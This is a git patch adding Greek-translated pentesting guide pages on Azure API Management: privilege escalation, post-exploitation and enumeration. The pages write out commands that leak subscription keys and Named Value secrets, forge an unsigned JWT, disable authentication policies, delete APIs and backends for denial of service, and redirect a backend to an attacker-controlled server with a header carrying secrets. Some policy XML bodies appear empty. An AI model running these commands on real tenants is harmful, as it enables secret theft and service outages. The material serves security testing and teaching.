From efbc021407971c31ec70b5277a94cc91214dba7c Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 23 Dec 2025 16:36:48 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- .../az-api-management-post-exploitation.md | 75 ++++++++ .../az-api-management-privesc.md | 172 ++++++++++++++++++ .../az-services/az-api-management.md | 74 ++++++++ 3 files changed, 321 insertions(+) create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-api-management.md diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md new file mode 100644 index 000000000..f106c5b0a --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md @@ -0,0 +1,75 @@ +# Azure - API Management Post-Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write` +Ο επιτιθέμενος μπορεί να χρησιμοποιήσει πολλαπλά διανύσματα επίθεσης για να προκαλέσει denial of service. Για να μπλοκάρει νόμιμη κίνηση, ο επιτιθέμενος προσθέτει rate-limiting και quota policies με εξαιρετικά χαμηλές τιμές, εμποδίζοντας ουσιαστικά την κανονική πρόσβαση: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "" +} +}' +``` +Για να αποκλείσει συγκεκριμένες νόμιμες διευθύνσεις IP πελατών, ο επιτιθέμενος μπορεί να προσθέσει πολιτικές φιλτραρίσματος IP που απορρίπτουν αιτήσεις από επιλεγμένες διευθύνσεις: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "
1.2.3.4
1.2.3.5
" +} +}' +``` +## `Microsoft.ApiManagement/service/backends/write` ή `Microsoft.ApiManagement/service/backends/delete` +Για να προκαλέσει αποτυχία των αιτήσεων, ο επιτιθέμενος μπορεί να τροποποιήσει μια διαμόρφωση backend και να αλλάξει το URL σε μια μη έγκυρη ή μη προσβάσιμη διεύθυνση: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://invalid-backend-that-does-not-exist.com", +"protocol": "http" +} +}' +``` +Ή διαγράψτε backends: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +## `Microsoft.ApiManagement/service/apis/delete` +Για να καταστήσει κρίσιμες APIs μη διαθέσιμες, ο επιτιθέμενος μπορεί να τις διαγράψει απευθείας από την API Management service: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` +Για να αποκλείσει την πρόσβαση από το Διαδίκτυο, ο επιτιθέμενος μπορεί να απενεργοποιήσει το public network access στο API Management service: +```bash +az rest --method PATCH \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"publicNetworkAccess": "Disabled" +} +}' +``` +## `Microsoft.ApiManagement/service/subscriptions/delete` +Για να αποκλείσει την πρόσβαση νόμιμων χρηστών, ο επιτιθέμενος μπορεί να διαγράψει API Management subscriptions: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md new file mode 100644 index 000000000..982c64f9b --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md @@ -0,0 +1,172 @@ +# Az - API Management Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action` + +Η επίθεση αφορά την πρόσβαση σε ευαίσθητα μυστικά που αποθηκεύονται σε Azure API Management Named Values, είτε με την άμεση ανάκτηση των τιμών των μυστικών είτε με την κατάχρηση δικαιωμάτων για την απόκτηση Key Vault–backed secrets μέσω managed identities. +```bash +az apim nv show-secret --resource-group --service-name --named-value-id +``` +## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action` +Για κάθε subscription, ο επιτιθέμενος μπορεί να αποκτήσει τα subscription keys χρησιμοποιώντας το endpoint listSecrets με τη μέθοδο POST: +```bash +az rest --method POST \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions//listSecrets?api-version=2024-05-01" +``` +Η απάντηση περιλαμβάνει το κύριο κλειδί της συνδρομής (primaryKey) και το δευτερεύον κλειδί (secondaryKey). Με αυτά τα κλειδιά, ο επιτιθέμενος μπορεί να authenticate και να αποκτήσει πρόσβαση στα APIs που δημοσιεύονται μέσω του API Management Gateway: +```bash +curl -H "Ocp-Apim-Subscription-Key: " \ +https://.azure-api.net/ +``` +Ο επιτιθέμενος μπορεί να έχει πρόσβαση σε όλα τα APIs και τα προϊόντα που σχετίζονται με τη συνδρομή. Εάν η συνδρομή έχει πρόσβαση σε ευαίσθητα προϊόντα ή APIs, ο επιτιθέμενος ενδέχεται να αποκτήσει εμπιστευτικές πληροφορίες ή να εκτελέσει μη εξουσιοδοτημένες ενέργειες. + +## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write` + +Ο επιτιθέμενος αρχικά ανακτά την τρέχουσα πολιτική του API: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" +``` +Ο επιτιθέμενος μπορεί να τροποποιήσει την πολιτική με πολλούς τρόπους ανάλογα με τους στόχους του. Για παράδειγμα, για να disable authentication, αν η πολιτική περιλαμβάνει JWT token validation, ο επιτιθέμενος μπορεί να αφαιρέσει ή να σχολιάσει εκείνο το τμήμα: +```xml + + + + + + + + + + + + + + + + +``` +Για να αφαιρέσει τους rate limiting ελέγχους και να επιτρέψει denial-of-service επιθέσεις, ο επιτιθέμενος μπορεί να αφαιρέσει ή να σχολιάσει τις quota και rate-limit πολιτικές: +```xml + + + + + + +... + +``` +Για να τροποποιήσετε τη διαδρομή του backend και να ανακατευθύνετε την κίνηση σε έναν server που ελέγχεται από τον επιτιθέμενο: +```xml + +... + + + + +... + +``` +Στη συνέχεια ο επιτιθέμενος εφαρμόζει την τροποποιημένη πολιτική. Το σώμα του αιτήματος πρέπει να είναι ένα αντικείμενο JSON που περιέχει την πολιτική σε μορφή XML: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "" +} +}' +``` +## Λανθασμένη διαμόρφωση επαλήθευσης JWT + +Ο επιτιθέμενος πρέπει να γνωρίζει ότι ένα API χρησιμοποιεί επαλήθευση JWT token και ότι η πολιτική είναι λανθασμένα διαμορφωμένη. + +Οι ελλιπώς διαμορφωμένες πολιτικές επαλήθευσης JWT ενδέχεται να έχουν `require-signed-tokens="false"` ή `require-expiration-time="false"`, πράγμα που επιτρέπει στην υπηρεσία να αποδέχεται unsigned tokens ή tokens that never expire. + +Ο επιτιθέμενος δημιουργεί ένα κακόβουλο JWT token χρησιμοποιώντας τον none αλγόριθμο (unsigned): +``` +# Header: {"alg":"none"} +# Payload: {"sub":"user"} +eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0. +``` +Ο attacker στέλνει ένα αίτημα στο API χρησιμοποιώντας το malicious token: +```bash +curl -X GET \ +-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \ +https://.azure-api.net/path +``` +Εάν η πολιτική είναι λανθασμένα ρυθμισμένη με `require-signed-tokens="false"`, η υπηρεσία θα αποδεχθεί το μη υπογεγραμμένο token. Ο επιτιθέμενος μπορεί επίσης να δημιουργήσει ένα token χωρίς expiration claim αν `require-expiration-time="false"`. + +## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` +Ο επιτιθέμενος ελέγχει πρώτα την τρέχουσα διαμόρφωση δικτύου της υπηρεσίας: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" +``` +Ο επιτιθέμενος ελέγχει την JSON απάντηση για να επαληθεύσει τις τιμές των `publicNetworkAccess` και `virtualNetworkType`. Αν το `publicNetworkAccess` είναι ορισμένο σε false ή το `virtualNetworkType` είναι ορισμένο σε Internal, η υπηρεσία έχει ρυθμιστεί για ιδιωτική πρόσβαση. + +Για να εκθέσει την υπηρεσία στο Διαδίκτυο, ο επιτιθέμενος πρέπει να αλλάξει και τις δύο ρυθμίσεις. Αν η υπηρεσία τρέχει σε εσωτερική λειτουργία (`virtualNetworkType: "Internal"`), ο επιτιθέμενος την αλλάζει σε None ή External και ενεργοποιεί το `publicNetworkAccess`. Αυτό μπορεί να γίνει χρησιμοποιώντας το Azure Management API: +```bash +az rest --method PATCH \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"publicNetworkAccess": "Enabled", +"virtualNetworkType": "None" +} +}' +``` +Μόλις το `virtualNetworkType` οριστεί σε `None` ή `External` και το `publicNetworkAccess` είναι ενεργοποιημένο, η υπηρεσία και όλα τα APIs της γίνονται προσβάσιμα από το Internet, ακόμη κι αν προηγουμένως προστατεύονταν πίσω από ιδιωτικό δίκτυο ή private endpoints. + +## `Microsoft.ApiManagement/service/backends/write` +Ο επιτιθέμενος αρχικά απαριθμεί τα υπάρχοντα backends για να εντοπίσει ποιο να τροποποιήσει: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" +``` +Ο επιτιθέμενος ανακτά την τρέχουσα διαμόρφωση του backend που θέλει να τροποποιήσει: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" +``` +Ο επιτιθέμενος τροποποιεί το backend URL ώστε να δείχνει σε server υπό τον έλεγχό του. Πρώτα λαμβάνει το ETag από την προηγούμενη απάντηση και στη συνέχεια ενημερώνει το backend: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://attacker-controlled-server.com", +"protocol": "http", +"description": "Backend modified by attacker" +} +}' +``` +Εναλλακτικά, ο επιτιθέμενος μπορεί να διαμορφώσει τα backend headers για να exfiltrate Named Values που περιέχουν μυστικά. Αυτό γίνεται μέσω της backend credentials configuration: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://attacker-controlled-server.com", +"protocol": "http", +"credentials": { +"header": { +"X-Secret-Value": ["{{named-value-secret}}"] +} +} +} +}' +``` +Με αυτή τη διαμόρφωση, οι Named Values αποστέλλονται ως headers σε όλα τα requests προς τον attacker-controlled backend, επιτρέποντας την exfiltration ευαίσθητων secrets. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-api-management.md b/src/pentesting-cloud/azure-security/az-services/az-api-management.md new file mode 100644 index 000000000..b6bfdbed3 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-api-management.md @@ -0,0 +1,74 @@ +# Az - API Management + +{{#include ../../../banners/hacktricks-training.md}} + +## Βασικές Πληροφορίες + +Azure API Management (APIM) είναι μια πλήρως διαχειριζόμενη υπηρεσία που προσφέρει μια **ενιαία πλατφόρμα για δημοσίευση, ασφάλιση, μετασχηματισμό, διαχείριση και παρακολούθηση APIs**. Επιτρέπει στις οργανώσεις να **εξομαλύνουν τη στρατηγική των API τους** και να διασφαλίζουν συνεπή διακυβέρνηση, απόδοση και ασφάλεια σε όλες τις υπηρεσίες τους. Λειτουργώντας ως ένα επίπεδο αφαίρεσης μεταξύ των backend υπηρεσιών και των καταναλωτών API, το APIM απλοποιεί την ενσωμάτωση και βελτιώνει τη συντηρησιμότητα ενώ παρέχει βασικές λειτουργίες επιχειρησιακής και ασφάλειας. + +## Κύριες Έννοιες + +Η **Πύλη API** λειτουργεί ως το μοναδικό σημείο εισόδου για όλη την κίνηση API, διαχειριζόμενη λειτουργίες όπως δρομολόγηση αιτήσεων προς backend υπηρεσίες, επιβολή ορίων ρυθμού, προσωρινή αποθήκευση απαντήσεων και διαχείριση authentication και authorization. Αυτή η πύλη φιλοξενείται και διαχειρίζεται πλήρως από το Azure, εξασφαλίζοντας υψηλή διαθεσιμότητα και κλιμάκωση. + +Η **Πύλη Προγραμματιστών** παρέχει ένα περιβάλλον self-service όπου οι καταναλωτές API μπορούν να ανακαλύψουν διαθέσιμα APIs, να διαβάσουν την τεκμηρίωση και να δοκιμάσουν endpoints. Βοηθά στην απλοποίηση της ένταξης παρέχοντας διαδραστικά εργαλεία και πρόσβαση σε πληροφορίες συνδρομής. + +Το **Πίνακας Διαχείρισης (Management Plane)** χρησιμοποιείται από διαχειριστές για να διαμορφώσουν και να συντηρήσουν την υπηρεσία APIM. Από εδώ, οι χρήστες μπορούν να ορίσουν APIs και operations, να διαμορφώσουν access control, να εφαρμόσουν πολιτικές, να διαχειριστούν χρήστες και να οργανώσουν τα APIs σε προϊόντα. Αυτός ο πίνακας κεντρικοποιεί τη διοίκηση και διασφαλίζει συνεπή διακυβέρνηση των API. + +## Authentication and Authorization + +Το Azure API Management υποστηρίζει αρκετούς μηχανισμούς **authentication** για την ασφάλεια της πρόσβασης στα API. Αυτοί περιλαμβάνουν **subscription keys**, **OAuth 2.0 tokens**, και **client certificates**. Το APIM επίσης ενσωματώνεται εγγενώς με την **Microsoft Entra ID**, επιτρέποντας **enterprise-level identity management** και **secure access** τόσο στα APIs όσο και στις backend υπηρεσίες. + +## Πολιτικές + +Οι πολιτικές στο APIM επιτρέπουν στους διαχειριστές να προσαρμόσουν την **επεξεργασία αιτήσεων και απαντήσεων** σε διάφορα επίπεδα λεπτομέρειας, συμπεριλαμβανομένου του **service**, **API**, **operation**, ή **product** επιπέδου. Μέσω πολιτικών, είναι δυνατόν να εφαρμοστεί **JWT token validation**, **μετασχηματισμός XML ή JSON payloads**, **επιβολή rate limiting**, **περιορισμός κλήσεων ανά διεύθυνση IP**, ή **authentication έναντι backend υπηρεσιών χρησιμοποιώντας managed identities**. Οι πολιτικές είναι **πολύ ευέλικτες** και αποτελούν ένα από τα **βασικά πλεονεκτήματα** της πλατφόρμας API Management, επιτρέποντας **λεπτομερή έλεγχο της συμπεριφοράς κατά το runtime** χωρίς τροποποίηση του κώδικα του backend. + +## Ονομασμένες Τιμές + +Η υπηρεσία παρέχει έναν μηχανισμό που ονομάζεται **Named Values**, ο οποίος επιτρέπει την αποθήκευση **πληροφοριών διαμόρφωσης** όπως **μυστικά**, **API keys**, ή άλλες τιμές που απαιτούνται από τις πολιτικές. + +Αυτές οι τιμές μπορούν να αποθηκευτούν απευθείας μέσα στο APIM ή να αναφερθούν με ασφάλεια από το **Azure Key Vault**. Οι Ονομασμένες Τιμές προάγουν την **ασφαλή και κεντρική διαχείριση** των δεδομένων διαμόρφωσης και απλοποιούν τη συγγραφή πολιτικών επιτρέποντας **επαναχρησιμοποιήσιμες αναφορές** αντί για hardcoded τιμές. + +## Δικτύωση και Ενσωμάτωση Ασφάλειας + +Το Azure API Management ενσωματώνεται απρόσκοπτα με **virtual network environments**, επιτρέποντας **ιδιωτική και ασφαλή συνδεσιμότητα** με backend συστήματα. + +Όταν αναπτύσσεται μέσα σε ένα **Virtual Network (VNet)**, το APIM μπορεί να έχει πρόσβαση σε **εσωτερικές υπηρεσίες** χωρίς να τις εκθέτει δημόσια. Η υπηρεσία επίσης επιτρέπει τη διαμόρφωση **custom certificates** για την υποστήριξη **mutual TLS authentication** με backend υπηρεσίες, βελτιώνοντας την ασφάλεια σε σενάρια όπου απαιτείται **ισχυρή επαλήθευση ταυτότητας**. + +Αυτές οι **δυνατότητες δικτύωσης** καθιστούν το APIM κατάλληλο τόσο για **cloud-native** όσο και για **hybrid αρχιτεκτονικές**. + +### Εντοπισμός + +Για να εντοπίσετε την υπηρεσία API management: +```bash +# Lists all Named Values configured in the Azure API Management instance +az apim nv list --resource-group --service-name + +# Retrieves all policies applied at the API level in raw XML format +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" + +# Retrieves the effective policy for a specific API in raw XML format +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01&format=rawxml" + +# Gets the configuration details of the APIM service instance +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" + +# Lists all backend services registered in the APIM instance +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" + +# Retrieves details of a specific backend service +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" + +# Gets general information about the APIM service +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" + +# Calls an exposed API endpoint through the APIM gateway +curl https://.azure-api.net/ + +``` +{{#include ../../../banners/hacktricks-training.md}}